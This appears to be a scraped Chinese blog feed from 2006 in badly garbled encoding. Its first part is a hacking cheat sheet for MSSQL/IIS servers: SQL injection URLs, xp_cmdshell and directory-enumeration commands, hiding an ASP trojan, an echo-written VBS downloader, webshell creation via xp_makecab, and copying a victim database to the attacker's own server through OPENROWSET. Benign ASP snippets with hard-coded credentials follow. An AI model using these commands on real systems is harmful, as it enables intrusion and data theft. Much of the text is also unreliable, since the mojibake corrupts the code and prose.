;create table temp2(dir nvarchar(255),depth varchar(255));--

然后把从D盘的website下的所有目录存到temp2中,语句如下åQ?
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM �) order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1æ”¹äØ“top 2ž®Þp¡Œäº†ã€?

现在åQŒæˆ‘们用同样的方法判断该目录是否为根目录åQ?
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果˜q”回为真åQŒäؓ了确定我们的判断åQŒå¤š‹¹‹è¯•几个例子åQŒæ–¹æ³•ä¸Šé¢éƒ½è®²åˆ°äº†ï¼Œå¦‚æžœå¤šä¸ªä¾‹å­éƒ½è¿”å›žäØ“çœŸï¼Œé‚£ä¹ˆž®Þq¡®å®šäº†è¯¥ç›®å½•䨓WEB根目录ã€?


用以上的æ–ÒŽ³•基本上可以获得WEB根目录,现在我们假设WEB根目录是åQšD:\website\www
然后åQŒæˆ‘们就可以备䆾当前数据库到˜q™ä¸ªç›®å½•下用来下载。备份前我们把temp、temp1、temp2的内å®Òޏ…½Iºï¼Œç„¶åŽC、D、E盘的目录树分别存到temp、temp1、temp2中ã€?

下蝲完数据库后要记得把三个äÍ时表DROP掉,现在我们在下载的数据库中可以扑ֈ°æ‰€æœ‰çš„目录列表åQŒåŒ…括后台管理的目录以及更多信息ã€?br />
21、win2000下将WEB用户提升为系¾lŸç”¨æˆähƒé™ï¼Œéœ€è¦æœ‰½Ž¡ç†å‘˜çš„æƒé™æ‰èƒ½æ‰§è¡ŒåQ?br />c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

查看是否成功åQ?br />c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
版权所�C) Microsoft Corporation 1996-2001。保留所有权利�br />inprocessisapiapps       : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22、如何隐藏ASP木马åQ?br />建立非标准目录:mkdir images..\
拯‚´ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web讉K—®ASP木马åQ?a href="http://ip/images../news.asp?action=login" target="_blank">http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s

23、去掉tenlnetçš„ntlm认证åQ?br />;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'â€?br />
24、用echo写入文äšg下蝲脚本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp


25、手工徏立IIS隐藏目录的方法:
?   查看本地虚拟目录列表åQšcscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
?   新徏一个kiss目录åQšmkdir c:\asp\kiss
?   建立kiss虚拟目录åQšcscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"  
?   为kiss目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
?   ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
?   讉K—®åQ?a target="_blank">http://127.0.0.1/kiss/test.asp

26、ä‹É用openrowset()˜qžå›žæœ¬åœ°åšæµ‹è¯•:
SELECT a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a

SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]')

27、获得主机名åQ?br />http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

28、获得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user

29、普通用戯‚Ž·å¾—WEBSHELL的方法之二:
?   打包åQ?br />EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
解包åQŒå¯ä»¥ç”¨äºŽå¾—到webshellåQ?br />?   EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
?   è¯ÖM“Q意文件内容,要求有masterçš„dbo权限åQ?br />EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp'

30、sa 权限下已知web路径直接备䆾数据库到web路径�br />
http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文äšg下蝲(当然首选要知道WEB虚拟目录)ã€?br />
?   遍历¾pȝ»Ÿçš„目录结构,分析¾l“æžœòq¶å‘现WEB虚拟目录åQŒå…ˆåˆ›å¾ä¸€ä¸ªäÍ时表åQštemp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
?    接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,òq¶å­˜å…¥temp表中åQ?br />http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
?   我们可以通过查询temp的内å®ÒŽ¥èŽ·å¾—é©±åŠ¨å™¨åˆ—è¡¨åŠç›¸å…³ä¿¡æ¯æˆ–è€…åˆ©ç”¨xp_subdirs获得子目录列è¡?òq¶å­˜å…¥temp表中åQ?br />http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
?   我们˜q˜å¯ä»¥åˆ©ç”¨xp_dirtree获得所有子目录的目录树¾l“æž„,òq¶å¯¸å…¥temp表中åQ?br />http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- ˜q™æ ·ž®±å¯ä»¥æˆåŠŸçš„‹¹è§ˆåˆ°æ‰€æœ‰çš„目录åQˆæ–‡ä»¶å¤¹åQ‰åˆ—è¡?br />?   如果我们需要查看某个文件的内容åQŒå¯ä»¥é€šè¿‡æ‰§è¡Œxp_cmdsellåQ?insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
?   使用'bulk insert'语法可以ž®†ä¸€ä¸ªæ–‡æœ¬æ–‡ä»¶æ’入到一个äÍ时表中。如åQšbulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   ‹¹è§ˆtempž®±å¯ä»¥çœ‹åˆ°index.aspæ–‡äšg的内容了åQé€šè¿‡åˆ†æžå„种ASPæ–‡äšgåQŒå¯ä»¥å¾—到大量系¾lŸä¿¡æ¯ï¼ŒWEB廸™®¾ä¸Žç®¡ç†ä¿¡æ¯ï¼Œç”šè‡³å¯ä»¥å¾—到SA帐号的连接密码ã€?br />
31、一些sql中的扩展存储的æ€È»“:
xp_availablemedia 昄¡¤º¾pȝ»Ÿä¸Šå¯ç”¨çš„盘符'C:\' xp_availablemedia
xp_enumgroups 列出当前¾pȝ»Ÿçš„ä‹É用群¾l„及其说æ˜?xp_enumgroups
xp_enumdsn 列出¾pȝ»Ÿä¸Šå·²¾lè®¾¾|®å¥½çš„ODBC数据源名¿U?xp_enumdsn
xp_dirtree 昄¡¤ºæŸä¸ªç›®å½•下的子目录与文äšgæž¶æž„ xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 获取某文件的相关属�xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab ž®†ç›®æ ‡è®¡½Ž—机多个档案压羃到某个档案里所压羃的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解压¾~?xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服务器域�xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服�xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid来停止某个执行中的程�xp_terminate_process 123
dbo.xp_subdirs 只列某个目录下的子目�dbo.xp_subdirs 'C:\'

32�br />USE MASTER
GO
CREATE proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
    end
/* Create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
    exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
    exec(@postcommand)
return @retval
GO


/*
1。获得所有的存储˜q‡ç¨‹çš„脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2。获得所有的视图的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/

33、DB_OWNER权限下的数据库备份方æ³?br />用openrowset吧。反˜qžåˆ°è‡ªå·±çš„æ•°æ®åº“机器åQŒ~先在本地å»ÞZ¸ªè·Ÿç›®æ ‡æœºå™¨ä¸€æ ïL»“构的表~字段¾cÕdž‹ä½¿ç”¨nvarchar.然后用æ“v‹z‹è¿žæŽ¥å¯¹æ–¹çš„SQL数据库,在查询分析那里执è¡?br />insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你徏立的è¡? select * from å¯ÒŽ–¹çš„表â€?br />要是数据量太大的话就看看他数据库里有没有自动¾~–号的字ŒD?select * from 表名 where id>100
˜q™æ ·æ¥å¼„å?br />要是和WEB同台的话åQŒç›´æŽ¥å°†åº“BAK到WEB目录下回来就OK啦。。。不˜q‡å‰æåº“不能太大åQŒè¶…˜q?G的话SQLž®Þp¶…时了
如果是SA权限可以利用下面的两个ASP½E‹åºæ¥å¤‡ä»½æ•°æ®åº“åQ?br />
sqlbackup1.asp
<HTML>
<HEAD>
<TITLE>SQL Server 数据库的备䆾与恢�lt;/TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<form method="post" name=myform>
选择操作åQ?lt;INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备䆾</label> 
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label>
<br>数据库名åQ?lt;INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>æ–‡äšg路径åQ?lt;INPUT TYPE="text" NAME="bak_file" value="c:\1.exe">(备䆾或恢复的文äšg路径,备䆾成EXE主要ä¸ÞZº†æ–¹ä¾¿ä¸‹è²,‹zÀL´»..)<br>
<input type="submit" value="¼‹®å®š">
</form>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服务�br />sqlname = "sa" '用户�br />sqlpassword = "数据库密� '密码
sqlLoginTimeout = 15 '登陆­‘…æ—¶
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>备䆾成功!</font>"
elseif act = "restore" then
'恢复时要在没有ä‹É用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv

Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>没有选择操作</font>"
end if
end if
%>
</BODY>
</HTML>

sqlbackup2.asp
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>采飞扬ASP备䆾MSSQL数据库程�V1.0--QQ:79998575</title>
</head>
<style>
BODY {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   scrollbar-face-color:#E4E4F3;   scrollbar-highlight-color:#FFFFFF;   scrollbar-3dlight-color:#E4E4F3;   scrollbar-darkshadow-color:#9C9CD3;   scrollbar-shadow-color:#E4E4F3;   scrollbar-arrow-color:#4444B3;   scrollbar-track-color:#EFEFEF;}TABLE {   FONT-SIZE: 9pt;   FONT-FAMILY: "Courier New";   BORDER-COLLAPSE: collapse;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: solid;   border-right-style: none;   border-bottom-style: none;   border-left-style: solid;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.tr {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   text-align: center;}.td {   font-family: "Courier New";   font-size: 9pt;   background-color: #f9f9fd;}.warningColor {   font-family: "Courier New";   font-size: 9pt;   color: #ff0000;}input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}textarea {   font-family: "Courier New";   BORDER-TOP-WIDTH: 1px;   BORDER-LEFT-WIDTH: 1px;   FONT-SIZE: 12px;   BORDER-BOTTOM-WIDTH: 1px;   BORDER-RIGHT-WIDTH: 1px;   color: #000000;}.liuyes {
background-color: #CCCCFF;
}
A:link {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   TEXT-DECORATION: none;}tr {   font-family: "Courier New";   font-size: 9pt;   line-height: 18px;}td {   font-family: "Courier New";   font-size: 9pt;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: none;   border-right-style: solid;   border-bottom-style: solid;   border-left-style: none;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.trHead {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   line-height: 3px;}.inputLogin {   font-family: "Courier New";   font-size: 9pt;   border: 1px solid #d8d8f0;   background-color: #f9f9fd;   vertical-align: bottom;}</style>
<body>
<form method="post" name="myform" action="?action=backupdatabase">
<table width="686" border="1" align="center">
<tr>
<td width="613" height="30" align="center" bgcolor="#330066"><font color="#FFFFFF">采飞扬ASP备䆾MSSQL数据库程�V1.0 </font></td>
</tr>
<tr>
<td>选择操作åQ?br />  <input type="radio" name="act" id="act_backup"value="backup" />
  <label for=act_backup>备䆾</label>
  <input type="radio" name="act" id="act_restore" value="restore" />
  <label for=act_restore>恢复</label></td>
</tr>
<tr>
<td><label>SQL服务�
  <input type="text" name="sqlserver" value="localhost" />
</label></td>
</tr>
<tr>
<td><label>用户�
  <input name="sqlname" type="text" value="sa" />
��
<input type="text" name="sqlpassword" />
</label></td>
</tr>
<tr>
<td><label>数据库名åQ?br />  <input type="text" name="databasename" value="<%=request("databasename")%>" />
</label></td>
</tr>
<tr>
<td>æ–‡äšg路径åQ?br />  <input name="bak_file" type="text" value="<% =server.MapPath("\")&"\"&"liuyes.bak"%>" size="60" />
(备䆾或恢复的文äšg路径)</td>
</tr>
<tr>
<td><% Response.write "本文件绝对èµ\å¾?" %>
  <font color="#FF0000">
  <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
  </font></td>
</tr>
<tr>
<td><input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="¼‹?å®? />
    <input name="Submit" type="reset" class="liuyes" size="10" value="é‡?¾|? /></td>
</tr>
</table>
</form>
<table width="686" border="1" align="center">
<tr>
<td>提示信息:<%
if request("action")="" then  
response.write "<font color=#ff0000>不用我多说什么了吧!</font>"
end if
'SQL Server 数据库的备䆾与恢�
if request("action")="backupdatabase" Then
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = trim(request("sqlserver"))
sqlname = trim(request("sqlname"))
sqlpassword =trim(request("sqlpassword"))
sqlLoginTimeout = 15
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "<font color=#ff0000>没有输入数据库名¿U?</font>"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Action   = 0
bak.Initialize   = 1
'bak.Replace   = True
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>备䆾成功!</font>"
elseif act="restore" then
'恢复时要在没有ä‹É用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv
Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>请选择备䆾或恢�</font>"
end if
end if
end if
%></td>
</tr>
</table>
</body>
</html>


]]>
一个比较好的连接数据库例子http://www.aygfsteel.com/jlin/articles/63137.htmlflyflySat, 12 Aug 2006 02:47:00 GMThttp://www.aygfsteel.com/jlin/articles/63137.htmlhttp://www.aygfsteel.com/jlin/comments/63137.htmlhttp://www.aygfsteel.com/jlin/articles/63137.html#Feedback0http://www.aygfsteel.com/jlin/comments/commentRss/63137.htmlhttp://www.aygfsteel.com/jlin/services/trackbacks/63137.html<%
Option Explicit
Server.ScriptTimeOut=90    '脚本­‘…æ—¶æ—‰™—´(单位:¿U?
Response.Expires=-1

'以下部分勿动
Dim SQL,Rs,Conn

Sub DataConn()'本地数据�br />   On Error Resume Next
 Dim strConn
    Set Conn = Server.Createobject("Adodb.Connection")
 strConn = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=127.0.0.1;User ID=sa;Password=sa ;Database=test;"
 
    Conn.Open strConn
        If Err Then
  err.Clear
  Set Conn = Nothing
  Response.Write "数据库连接出错,è¯äh£€æŸ¥è¿žæŽ¥å­—丌Ӏ?
  Response.End
 End If
End Sub

'以下代码是用来关闭数据库˜qžæŽ¥çš?br />Sub DataClose()
 If IsObject(Conn) Then
  Conn.Close
  Set Conn=Nothing
 End If
End Sub
%>
把以上代码做成一个const.aspæ–‡äšg,以后哪个文äšg要用到的时候用
<!--#include file="const.asp"-->包含˜q›æ¥å›_¯
然后调用,DataConn(),卛_¯æ‰“开数据库了
后用DataClose()关闭数据�br />



]]>
整理了一些ASP初学者常用的代码http://www.aygfsteel.com/jlin/articles/62906.htmlflyflyFri, 11 Aug 2006 00:47:00 GMThttp://www.aygfsteel.com/jlin/articles/62906.htmlhttp://www.aygfsteel.com/jlin/comments/62906.htmlhttp://www.aygfsteel.com/jlin/articles/62906.html#Feedback0http://www.aygfsteel.com/jlin/comments/commentRss/62906.htmlhttp://www.aygfsteel.com/jlin/services/trackbacks/62906.html<%=now()%>
2.取得来访用的IP:
<%=request.serverVariables("remote_host")%>
3.获得¾pȝ»Ÿ,‹¹è§ˆå™¨ç‰ˆæœ?
<script>
window.document.write("版本åQ?+navigator.appName+navigator.appVersion+" browser.")
</script>
4.去除IE混动�
<body scroll="no"> 
<body style="overflow-y:hidden">
5.˜q›å…¥¾|‘ç«™,è·›_‡ºòq¿å‘Š:
<script language="javascript">
<!-- 
<!-- 注意更改文äšg所在èµ\å¾?->
window.open(''http://www.XXXXXX.com&#39;','''',''height=200,width=300,top=0,left=30'');
// -->
</script>
6.随机�
<%randomize%>
<%=(int(rnd()*n)+1)%>
N为可改变�br />7.向上混动代码:
<marquee direction="up" scrolldelay="200" style="font-size: 9pt; color: #FF0000; line-height: 150%; font-style:italic; font-weight:bold" scrollamount="2" width="206" height="207" bgcolor="#FFFF00">hhhhhhhhhhhhhhhhhhh</marquee>
8.自动关闭¾|‘页:
<script LANGUAGE="javascript">
<!--
setTimeout(''window.close();'', 10000); //60¿U’后关闭
// -->
</script>
<p align="center">本页10¿U’后自动关闭,è¯äh³¨æ„åˆ·æ–°é¡µé?lt;/p>
9.随机背景音乐:
<%randomize%>
<bgsound src="mids/<%=(int(rnd()*60)+1)%>.mid" loop="-1"> 

可以修改数字åQŒé™åˆ¶è°ƒç”¨ä¸ªæ•ŽÍ¼Œæˆ‘这里是åQ–0个.
10.自动åˆäh–°æœ¬é¡µé?
<script> 
<!--  

var limit="0:10"  

if (document.images){ 
var parselimit=limit.split(":") 
parselimit=parselimit *60+parselimit *1 
} 
function beginrefresh(){ 
if (!document.images) 
return 
if (parselimit==1) 
window.location.reload() 
else{ 
parselimit-=1 
curmin=Math.floor(parselimit/60) 
cursec=parselimit%60 
if (curmin!=0) 
curtime=curmin+"åˆ?+cursec+"¿U’后重刷本页åQ? 
else 
curtime=cursec+"¿U’后重刷本页åQ? 
window.status=curtime 
setTimeout("beginrefresh()",1000) 
} 
}  

window.onload=beginrefresh 
file://--> 
</script>
11.ACCESS数据库连�
<%
option explicit
dim startime,endtime,conn,connstr,db
startime=timer()
'更改数据库名�br />db="data/dvBBS5.mdb"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
'如果你的服务器采用较老版本Access驱动åQŒè¯·ç”¨ä¸‹é¢è¿žæŽ¥æ–¹æ³?br />'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db)
conn.Open connstr
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%>
12.SQL数据库连�
<%
option explicit
dim startime,endtime,conn,connstr,db
startime=timer()
connstr="driver={SQL Server};server=HUDENQ-N11T33NB;uid=sa;pwd=xsfeihu;database=dvbbs" 
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open connstr
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%>


<%
Response.Buffer = True
On Error Resume Next
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=218.84.205.199;User ID=GD;Password=ABCD;Database=gddb;"
conn.Open strCon
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,è¯äh£€æŸ¥è¿žæŽ¥å­—丌Ӏ?
Response.End
End If
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%> 


13.用键盘打开¾|‘页代码:
<script language="javascript">
function ctlent(eventobject)
{
if((event.ctrlKey && window.event.keyCode==13)||(event.altKey && window.event.keyCode==83))
{
window.open('¾|‘址','','')
}
}
</script> 

˜q™é‡Œæ˜¯Ctrl+Enterå’ŒAlt+S的代码 自己查下键盘的ASCII码再换就è¡?br />14.让层不被控äšg复盖代码:
<div z-Index:2><object ***></object></div> åQƒÂ å‰é¢Â?br /><div z-Index:1><object ***></object></div> åQƒÂ åŽé¢Â?br /><div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>
15.动网FLASHòq¿å‘Šä»£ç :
<object classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/sho...h/swflash.cab#version=5 ,0,0,0" width="468" height="60"><param name=movie value="images/yj16d.swf"><param name=quality value=high><embed src="images/dvbanner.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; ... uot;60"></embed></object> 
16.VBS弹出½H—口ž®ä»£ç ?
<script language=vbscript>
msgbox"你还没有注册或登陆论å?,"0","¾_‘Ö“è®ºå›"
location.href = "login.asp"
</script>
16.使用FSO修改文äšg特定内容的函æ•?br />function FSOchange(filename,Target,String)
Dim objFSO,objCountFile,FiletempData
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True)
FiletempData = objCountFile.ReadAll
objCountFile.Close
FiletempData=Replace(FiletempData,Target,String)
Set objCountFile=objFSO.CreateTextFile(Server.MapPath(filename),True)
objCountFile.Write FiletempData 
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
End Function
17.使用FSOè¯Õd–æ–‡äšg内容的函æ•?br />function FSOFileRead(filename)
Dim objFSO,objCountFile,FiletempData
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True)
FSOFileRead = objCountFile.ReadAll
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
End Function
18.使用FSOè¯Õd–æ–‡äšg某一行的函数
function FSOlinedit(filename,lineNum)
if linenum < 1 then exit function
dim fso,f,temparray,tempcnt
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),1)
if not f.AtEndofStream then
tempcnt = f.readall
f.close
set f = nothing
temparray = split(tempcnt,chr(13)&chr(10))
if lineNum>ubound(temparray)+1 then
exit function
else
FSOlinedit = temparray(lineNum-1)
end if
end if
end function
19.使用FSO写文件某一行的函数
function FSOlinewrite(filename,lineNum,Linecontent)
if linenum < 1 then exit function
dim fso,f,temparray,tempCnt
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),1)
if not f.AtEndofStream then
tempcnt = f.readall
f.close
